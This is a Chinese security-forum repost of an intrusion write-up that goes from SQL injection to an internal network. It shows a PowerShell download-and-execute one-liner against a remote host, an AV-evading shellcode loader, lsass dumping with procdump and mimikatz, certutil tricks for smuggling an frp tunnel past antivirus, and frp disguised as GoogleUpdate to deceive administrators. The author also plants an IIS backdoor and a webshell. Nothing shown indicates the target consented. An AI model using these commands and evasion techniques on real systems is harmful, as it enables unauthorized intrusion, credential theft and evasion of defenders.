安全矩阵

 找回密码
 立即注册
搜索
查看: 6393|回复: 0

给我一个SQL注入我能干翻你内网

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-2-7 22:44:54 | 显示全部楼层 |阅读模式
原文链接:给我一个SQL注入我能干翻你内网


前言


一个 SQL 注入可以帮我们的不仅仅是获取数据库表里的数据,还能让我们直接获取到目标服务器的权限,减少我们渗透的时间,本文主要围绕 SQL 注入如何进内网来写的,不多说兄弟们看文章就完事了。


给我一个 SQL 注入我能干翻你内网

卧槽有杀软

首先拿到一个站,权限很小,而且各种上线失败:

发现目标服务器是 2008 r2:

最后使用 powershell 上线,参考的是s1ye师傅的文章:https://www.chabug.org/web/1324.html


  1. powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://xxxxx:9000/1.ps1')
复制代码



上线后权限有问题,不能执行 shell 。
估计是对面机器上有杀软,被拦截了。
在这里我犯了一个大忌,直接无脑丢 exe 到目标机器上去执行,而不是先 tasklist 查看进程看看有没有 AV ,再去做免杀,大家在实际的过程中一定要注意,宁愿稳、慢、也不要粗暴!

Mssql 注入反弹 Powershell 上线

由于我们是通过Sql注入拿到的shell,这个时候我们发现目标可以开启xp_cmdshell 执行os-shell:

发现是管理员权限,这个时候通过 powershell 远程下载并执行 exe 上线 CS ,发现被拦截了:

随后使用 bypass 后的 powershell 脚本进行配合 sqlmap 执行命令成功上线:

拿到权限之后发现是一个工作组环境:



CobaltStrike 下的内网渗透

为了接下来的内网渗透,我们进行吧权限迁移到CS或者MSF上,我这边使用CS-Http上线:

之后用cs生成一个ps1,然后进行免杀:

https://www.cnblogs.com/forforever/p/13882312.html

  1. $string = ''
  2. $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('这里是编码的 shellcode')
  3. $s |foreach { $string = $string + $_.ToString()+','}
  4. $string > c:\1.txt
复制代码





本地测试一下:

  1. powershell -ExecutionPolicy bypass -File .\index.ps1
复制代码



可以上线!Virustotal 发现 bypass 了大部分 AV:

之后就上传到目标服务器成功上线CS:

虽然上线CS了,但是执行命令不了,可能是被拦截了:

这个时候我们尝试用 https 上线:

重复上面的操作:

随后运行 powershell 上线:

这个时候就能执行命令了:

随后 Run mimikatz 抓到了管理员的明文和哈希:

先不登录他远程桌面,我们先扫描内网存活主机,进行横向渗透:

发现存在大量机器:

之后进行 psexec 横向但是都没上线成功,我先做个流量socks代理:

之后发现他内网基本上都开放了 80 端口:



之后通过一个一个搞,中途拿下了几台机子后好像被发现了,这个时候发现sqlmap也没用了,它直接关站了!


峰回路转

过了几天,由于我之前留了一个 IIS 后门:

为了方便,我写了一个冰蝎马到网站目录

之后翻配置文件翻到了数据库密码:

还是那句话,除了在目标机器上抓系统账号密码,一定要去多翻翻机器上的其他文件:邮件、截截屏、翻翻浏览器记录、收藏夹、注册表、各类客户端软件目录下的配置文件...
这些文件里面很有可能包含大量有价值的账号密码,总之就一句话:拿到机器之后,先别急着上去就开始瞎扫,先把当前机器能翻的翻个底朝天,一直翻到不能动为止!千万别动不动上去不管三七二十一对着内网就说一段胡瞎扫,万一遇到什么流量检测设备苛刻点的环境,或者管理规范经验丰富的网管,可能很快就把你踢出局了,渗透过程中被对方发现是一件非常丢人的事情,实在是有点得不偿失,进入目标内网后,仔细耐心搜集信息永远是第一位的,宁愿慢、稳、也不要粗暴!
之后使用 procdump.exe 抓 lsass.dump 读取密码:

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
复制代码






这里有个坑,我使用 procdump.exe 读取 lsass.dmp 是保存为 2.txt,不知道为什么,目标服务器上只要有  lsass.dmp 就会被杀掉,所以我吧它修改为 txt 然后就不会被杀了,之后下载到本地吧它修改为 lsass.dmp 就没事了!

由于冰蝎的 socks 代理是基于 http 的,不稳定,那么我就用 frp 进行代理,再代理前,我把 客户端的 frp 图标修改为 google 的图标用于麻痹管理员:


然后上传到目标服务器上:

在这里有一个小技巧,如果对面有杀软你上传exe就会被杀,那么你可以使用编码,把 frpc.exe 编码为 txt:

CertUtil -encode frpc.exe frpc.txt
然后再使用 certUtil 下载 frpc.txt :

certutil.exe -urlcache -split -f frpc.txt的地址
之后再目标服务器解码就可以了:

CertUtil -decode frpc.txt frpc.exe
然后进行 frp 内网穿透:

GoogleUpdate.exe -c GoogleUpdate.ini


在然后就可以了:

然后直接上线 CS :

日到这里发现 10.0.0.0 这个网段只有一台主机存活:

那么就很尴尬了,我的目标是拿下目标核心域控,只能重新打点搞了!

峰回路转第二弹 - 注入 Getshell

这个时候就只能重新搞了!
我后面又找到了一些注入点:

但是执行不了命令,估计是写权限被写死了:

没办法,只能通过 SQLMAP 来进行信息搜集了,sqlmap --password 跑出一些密码:

执行 -- sql-shell 可以读取 passwd 文件:

通过读文件,顺水推舟找到了数据库的配置文件:

之后通过sqlmap跑出来后台账号密码:


后台没做限制上传 php 成功 getshell:

然后通过查看网站源代码找到 php 路径:

但是蚁剑链接发现有问题:

这个时候用蚁剑的马上传:

成功 getshell !进入内网后发现没内网,而且没有翻到可利用的东西!哎,那么又得重新打点了!

峰回路转第三弹 - 注入到后台

然后我又找到了几处注入点:

同样不能执行命令:

后面找到后台账号密码登录到后台发现没有什么上传点:

最后日进了一个聊天室,但是没啥用:


结尾

其实本篇的技术不多,都是围绕 SQL 注入来写的,可见一个 SQL 注入就可以帮我们完成这么多的事情,一个 SQL 注入就能干翻内网,还是那句话,渗透的本质就是信息搜集,信息搜集的足够多,你渗透的成功性就会越大!










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 17:55 , Processed in 0.014828 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表